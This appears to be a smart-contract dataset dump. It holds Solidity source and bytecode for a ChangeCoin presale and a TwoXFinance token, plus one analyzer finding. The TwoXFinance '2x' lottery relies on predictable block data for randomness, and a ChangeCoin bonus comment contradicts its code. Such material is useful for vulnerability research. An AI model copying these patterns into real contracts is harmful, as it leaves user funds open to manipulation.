* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0X0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ChangeCoin is MintableToken {
string public name = "Change COIN";
string public symbol = "CAG";
uint256 public decimals = 18;
bool public tradingStarted = false;
/**
* @dev modifier that throws if trading has not started yet
*/
modifier hasStartedTrading() {
require(tradingStarted);
_;
}
/**
* @dev Allows the owner to enable the trading. This can not be undone
*/
function startTrading() onlyOwner {
tradingStarted = true;
}
/**
* @dev Allows anyone to transfer the Change tokens once trading has started
* @param _to the recipient address of the tokens.
* @param _value number of tokens to be transfered.
*/
function transfer(address _to, uint _value) hasStartedTrading returns (bool){
return super.transfer(_to, _value);
}
/**
* @dev Allows anyone to transfer the Change tokens once trading has started
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) hasStartedTrading returns (bool){
return super.transferFrom(_from, _to, _value);
}
}
contract ChangeCoinPresale is Ownable {
using SafeMath for uint256;
// The token being sold
ChangeCoin public token;
// start and end block where investments are allowed (both inclusive)
uint256 public startTimestamp;
uint256 public endTimestamp;
// address where funds are collected
address public hardwareWallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
// minimum contributio to participate in tokensale
uint256 public minContribution;
// maximum amount of ether being raised
uint256 public hardcap;
// number of participants in presale
uint256 public numberOfPurchasers = 0;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event PreSaleClosed();
function ChangeCoinPresale() {
startTimestamp = 1504785900;
endTimestamp = 1504789200;
rate = 500;
hardwareWallet = 0x12b97A56F63F8CF75052B5b816d7Ad9e794B8198;
token = new ChangeCoin();
minContribution = 0 ether;
//minContribution = 9.9 ether;
hardcap = 50000 ether;
require(startTimestamp >= now);
require(endTimestamp >= startTimestamp);
}
/**
* @dev Calculates the amount of bonus coins the buyer gets
* @param tokens uint the amount of tokens you get according to current rate
* @return uint the amount of bonus tokens the buyer gets
*/
function bonusAmmount(uint256 tokens) internal returns(uint256) {
// first 500 get extra 30%
if (numberOfPurchasers < 2) {
return tokens * 3 / 10;
} else {
return tokens /4;
}
}
// check if valid purchase
modifier validPurchase {
require(now >= startTimestamp);
require(now <= endTimestamp);
require(msg.value >= minContribution);
require(weiRaised.add(msg.value) <= hardcap);
_;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
bool timeLimitReached = now > endTimestamp;
bool capReached = weiRaised >= hardcap;
return timeLimitReached || capReached;
}
// low level token purchase function
function buyTokens(address beneficiary) payable validPurchase {
require(beneficiary != 0x0);
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
tokens = tokens + bonusAmmount(tokens);
// update state
weiRaised = weiRaised.add(weiAmount);
numberOfPurchasers = numberOfPurchasers + 1;
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
hardwareWallet.transfer(msg.value);
}
// transfer ownership of the token to the owner of the presale contract
function finishPresale() public onlyOwner {
require(hasEnded());
token.transferOwnership(owner);
PreSaleClosed();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
}
|
0x606060405236156100b45763ffffffff60e060020a6000350416632c4e722e81146100c15780634042b66f146100e6578063580c2ae91461010b5780638da5cb5b14610130578063974654c61461015f578063a85adeab14610174578063aaffadf314610199578063b071cbe6146101be578063e6fd48bc146101e3578063e9edf4cd14610208578063ec8ac4d814610237578063ecb70fb71461024d578063f2fde38b14610274578063fc0c546a14610295575b5b6100be336102c4565b5b005b34156100cc57600080fd5b6100d4610475565b60405190815260200160405180910390f35b34156100f157600080fd5b6100d461047b565b60405190815260200160405180910390f35b341561011657600080fd5b6100d4610481565b60405190815260200160405180910390f35b341561013b57600080fd5b610143610487565b604051600160a060020a03909116815260200160405180910390f35b341561016a57600080fd5b6100be610496565b005b341561017f57600080fd5b6100d461055f565b60405190815260200160405180910390f35b34156101a457600080fd5b6100d4610565565b60405190815260200160405180910390f35b34156101c957600080fd5b6100d461056b565b60405190815260200160405180910390f35b34156101ee57600080fd5b6100d4610571565b60405190815260200160405180910390f35b341561021357600080fd5b610143610577565b604051600160a060020a03909116815260200160405180910390f35b6100be600160a060020a03600435166102c4565b005b341561025857600080fd5b610260610586565b604051901515815260200160405180910390f35b341561027f57600080fd5b6100be600160a060020a03600435166105a9565b005b34156102a057600080fd5b610143610601565b604051600160a060020a03909116815260200160405180910390f35b60008060025442101515156102d857600080fd5b6003544211156102e757600080fd5b6007543410156102f657600080fd5b60085460065461030c903463ffffffff61061016565b111561031757600080fd5b600160a060020a038316151561032c57600080fd5b60055434925061034390839063ffffffff61062a16565b905061034e81610659565b600654910190610364908363ffffffff61061016565b60065560098054600190810190915554600160a060020a03166340c10f19848360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156103d057600080fd5b6102c65a03f115156103e157600080fd5b505050604051805190505082600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18848460405191825260208201526040908101905180910390a3600454600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561046e57600080fd5b5b5b505050565b60055481565b60065481565b60095481565b600054600160a060020a031681565b60005433600160a060020a039081169116146104b157600080fd5b6104b9610586565b15156104c457600080fd5b600154600054600160a060020a039182169163f2fde38b911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561051b57600080fd5b6102c65a03f1151561052c57600080fd5b5050507ffd12c90a5e51aa8a18eeaafb67ad4e7606ec2db88b5b57077a40c5712cbfb2b760405160405180910390a15b5b565b60035481565b60075481565b60085481565b60025481565b600454600160a060020a031681565b60035460085460065460009242119190101581806105a15750805b92505b505090565b60005433600160a060020a039081169116146105c457600080fd5b600160a060020a038116156105fc576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b600154600160a060020a031681565b60008282018381101561061f57fe5b8091505b5092915050565b6000828202831580610646575082848281151561064357fe5b04145b151561061f57fe5b8091505b5092915050565b60006002600954101561067557600a600383025b049050610681565b60048261066d565b0490505b5b9190505600a165627a7a72305820c6d66fef3d1f13af03106150083fe6e33461c5f624d081a1cf99f09189489a850029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,018 |
0x920922e3aaa3513c3c1b17b67e3151535277018f
|
// --------------------------------
// Smart Contract for TwoXFinance
// Developed by: Degen Givers™
//
// Twitter: https://twitter.com/TwoXFinance
// Telegram: https://t.me/twox_finance
// Website: https://twox.finance
// Email: info@twox.finance
// Medium: https://twoxfinance.medium.com/
//
// To be updated on our next projects,
// join our telegram channel / group
// Telegram Announcement Channel: https://t.me/degengiversann
// Telegram Group: https://t.me/degengivers
// --------------------------------
pragma solidity ^0.5.17;
contract Context
{
constructor() internal {}
function _msgSender() internal view returns (address payable)
{
return msg.sender;
}
function _msgData() internal view returns (bytes memory)
{
this;
return msg.data;
}
}
contract Ownable is Context
{
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal
{
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address)
{
return _owner;
}
modifier onlyOwner()
{
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool)
{
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner
{
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner
{
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal
{
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// --------------------------------
// Safe Math Library
// Added ceiling function
// --------------------------------
library SafeMath
{
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256)
{
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
// Gas Optimization
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0)
{
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256)
{
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256)
{
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256)
{
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256)
{
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
interface IERC20
{
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20
{
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public
{
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory)
{
return _name;
}
function symbol() public view returns (string memory)
{
return _symbol;
}
function decimals() public view returns (uint8)
{
return _decimals;
}
}
// --------------------------------
// Ensure enough gas
// --------------------------------
contract GasPump
{
bytes32 private stub;
uint256 private constant target = 10000;
modifier requestGas()
{
if (tx.gasprice == 0 || gasleft() > block.gaslimit)
{
_;
uint256 startgas = gasleft();
while (startgas - gasleft() < target)
{
// Burn gas
stub = keccak256(abi.encodePacked(stub));
}
}
else
{
_;
}
}
}
// --------------------------------
// TwoXFinance
// --------------------------------
contract TwoXFinance is Context, Ownable, ERC20Detailed, GasPump
{
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public whitelistFrom;
mapping(address => bool) public whitelistTo;
address devFeeWallet = 0x2473ca33581e24ec1232A7D77584aae0352AFc3C;
address deployerWallet = 0xed8e10b77a1a5C47BD19CC1Ecf27957D58A25E93;
address uniswapWallet = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
// Token Details
string constant tokenName = "TwoXFinance";
string constant tokenSymbol = "TWOX";
uint8 constant tokenDecimals = 18;
uint256 private _totalSupply = 10000 * (10 ** 18);
uint256 public basePercent = 100;
bytes32 private lastHash;
// Events
event Normal(address indexed sender, address indexed recipient, uint256 value);
event User2x(address indexed sender, address indexed recipient, uint256 value);
event UserNo2x(address indexed sender, address indexed recipient, uint256 value);
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals)
{
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256)
{
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient,uint256 amount) public returns (bool)
{
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(_msgSender(), spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function burn(uint256 amount) public
{
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public
{
_burnFrom(account, amount);
}
// --------------------------------
// 5% Burn Fee
// --------------------------------
function findBurnFee(uint256 value) public view returns (uint256)
{
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(2000);
return onePercent;
}
// --------------------------------
// 2% Dev Fee
// --------------------------------
function findDevFee(uint256 value) public view returns (uint256)
{
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(5000);
return onePercent;
}
// --------------------------------
// Win or Lose
// 5% chance of 2x
// --------------------------------
function _winorlose() internal returns (uint256)
{
bytes32 result = keccak256(
abi.encodePacked(block.number, lastHash, gasleft()));
lastHash = result;
return uint256(result) % 20 == 0 ? 1 : 0;
}
function _transfer(address sender, address recipient, uint256 amount) internal requestGas
{
// Checks that it's not the burn address
require(amount <= _balances[sender]);
require(recipient != address(0), "ERC20: transfer to the zero address");
// Deployer Transaction (So that transactions made my deployer don't get affected)
if (msg.sender == deployerWallet)
{
// Subtract from sender balance
_balances[sender] = _balances[sender].sub(amount);
// Add to recipient balance
_balances[recipient] = _balances[recipient].add(amount);
emit Normal(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
}
// 2x Transaction
else if (sender != uniswapWallet && _winorlose() == 1)
{
// Subtract from sender balance
_balances[sender] = _balances[sender].sub(amount);
// Get 5% of transacted tokens
uint256 tokensToBurn = findBurnFee(amount);
// Get 2% of transacted tokens
uint256 tokensToDev = findDevFee(amount);
// Get amount of transacted tokens
uint256 tokens2x = (amount);
// Mint transacted tokens to lucky user (so now user has 2x tokens)
_mint(sender, tokens2x);
// Transfer same amount - (burn tokens) - (dev tokens) but user now has 100% extra transacted tokens in their wallet
uint256 tokensToTransfer = amount.sub(tokensToBurn).sub(tokensToDev);
// Add to fee wallet
_balances[devFeeWallet] = _balances[devFeeWallet].add(tokensToDev);
// Add to recipient balance
_balances[recipient] = _balances[recipient].add(tokensToTransfer);
// Subtract burned amount from supply
_totalSupply = _totalSupply.sub(tokensToBurn);
// Add user's winning token amount to supply
_totalSupply = _totalSupply.add(tokens2x);
// Transaction Documentation Log
emit User2x(sender, recipient, amount);
emit Transfer(sender, recipient, tokensToTransfer);
emit Transfer(address(0), recipient, tokens2x);
emit Transfer(sender, devFeeWallet, tokensToDev);
emit Transfer(sender, address(0), tokensToBurn);
}
// No 2x Transaction or Uniswap Wallet
else
{
// Subtract from sender balance
_balances[sender] = _balances[sender].sub(amount);
// Get 5% of transacted tokens
uint256 tokensToBurn = findBurnFee(amount);
// Get 2% of transacted tokens
uint256 tokensToDev = findDevFee(amount);
// Transfer amount - 5% of transacted tokens(burn) - 2% of transacted tokens(dev fee)
uint256 tokensToTransfer = amount.sub(tokensToBurn).sub(tokensToDev);
// Add to fee wallet
_balances[devFeeWallet] = _balances[devFeeWallet].add(tokensToDev);
// Add to recipient balance
_balances[recipient] = _balances[recipient].add(tokensToTransfer);
// Subtract burned amount from supply
_totalSupply = _totalSupply.sub(tokensToBurn);
// Transaction Documentation Log
emit UserNo2x(sender, recipient, amount);
emit Transfer(sender, recipient, tokensToTransfer);
emit Transfer(sender, devFeeWallet, tokensToDev);
emit Transfer(sender, address(0), tokensToBurn);
}
}
function _mint(address account, uint256 amount) internal
{
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal
{
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal
{
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063715018a6116100b857806395d89b411161007c57806395d89b41146105e4578063a457c2d714610667578063a9059cbb146106cd578063c5ac0ded14610733578063dd62ed3e14610751578063f2fde38b146107c957610142565b8063715018a6146104de57806379cc6790146104e85780638da5cb5b146105365780638da7e192146105805780638f32d59b146105c257610142565b8063313ce5671161010a578063313ce5671461033057806336acd39f14610354578063395093511461039657806342966c68146103fc57806343684b211461042a57806370a082311461048657610142565b806306fdde0314610147578063095ea7b3146101ca57806316b627d11461023057806318160ddd1461028c57806323b872dd146102aa575b600080fd5b61014f61080d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108af565b604051808215151515815260200191505060405180910390f35b6102726004803603602081101561024657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108cd565b604051808215151515815260200191505060405180910390f35b6102946108ed565b6040518082815260200191505060405180910390f35b610316600480360360608110156102c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f7565b604051808215151515815260200191505060405180910390f35b6103386109d0565b604051808260ff1660ff16815260200191505060405180910390f35b6103806004803603602081101561036a57600080fd5b81019080803590602001909291905050506109e7565b6040518082815260200191505060405180910390f35b6103e2600480360360408110156103ac57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a38565b604051808215151515815260200191505060405180910390f35b6104286004803603602081101561041257600080fd5b8101908080359060200190929190505050610aeb565b005b61046c6004803603602081101561044057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aff565b604051808215151515815260200191505060405180910390f35b6104c86004803603602081101561049c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b1f565b6040518082815260200191505060405180910390f35b6104e6610b68565b005b610534600480360360408110156104fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ca1565b005b61053e610caf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ac6004803603602081101561059657600080fd5b8101908080359060200190929190505050610cd8565b6040518082815260200191505060405180910390f35b6105ca610d29565b604051808215151515815260200191505060405180910390f35b6105ec610d87565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062c578082015181840152602081019050610611565b50505050905090810190601f1680156106595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106b36004803603604081101561067d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e29565b604051808215151515815260200191505060405180910390f35b610719600480360360408110156106e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ef6565b604051808215151515815260200191505060405180910390f35b61073b610f14565b6040518082815260200191505060405180910390f35b6107b36004803603604081101561076757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1a565b6040518082815260200191505060405180910390f35b61080b600480360360208110156107df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fa1565b005b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108a55780601f1061087a576101008083540402835291602001916108a5565b820191906000526020600020905b81548152906001019060200180831161088857829003601f168201915b5050505050905090565b60006108c36108bc611027565b848461102f565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600c54905090565b6000610904848484611226565b6109c584610910611027565b6109c08560405180606001604052806028815260200161349660289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610976611027565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3d9092919063ffffffff16565b61102f565b600190509392505050565b6000600360009054906101000a900460ff16905090565b6000806109ff600d5484612bfd90919063ffffffff16565b90506000610a2c6107d0610a1e600d5485612c3890919063ffffffff16565b612cbe90919063ffffffff16565b90508092505050919050565b6000610ae1610a45611027565b84610adc8560066000610a56611027565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b61102f565b6001905092915050565b610afc610af6611027565b82612d90565b50565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b70610d29565b610be2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cab8282612f4a565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080610cf0600d5484612bfd90919063ffffffff16565b90506000610d1d611388610d0f600d5485612c3890919063ffffffff16565b612cbe90919063ffffffff16565b90508092505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d6b611027565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b606060028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e1f5780601f10610df457610100808354040283529160200191610e1f565b820191906000526020600020905b815481529060010190602001808311610e0257829003601f168201915b5050505050905090565b6000610eec610e36611027565b84610ee7856040518060600160405280602581526020016135276025913960066000610e60611027565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3d9092919063ffffffff16565b61102f565b6001905092915050565b6000610f0a610f03611027565b8484611226565b6001905092915050565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fa9610d29565b61101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61102481613019565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806135036024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561113b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806134536022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60003a14806112345750455a115b15611ede57600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561128557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133e86023913960400191505060405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561155a576113b381600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461315d90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061144881600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f2fb983926eb752d15d651ba5b013e68a418a80c16c889d45bdb99d1b4f045b4d836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611e92565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115bf575060016115bd6131a7565b145b15611a755761161681600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461315d90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611664826109e7565b9050600061167183610cd8565b905060008390506116828682613214565b60006116a98361169b868861315d90919063ffffffff16565b61315d90919063ffffffff16565b905061171f8360056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0890919063ffffffff16565b60056000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1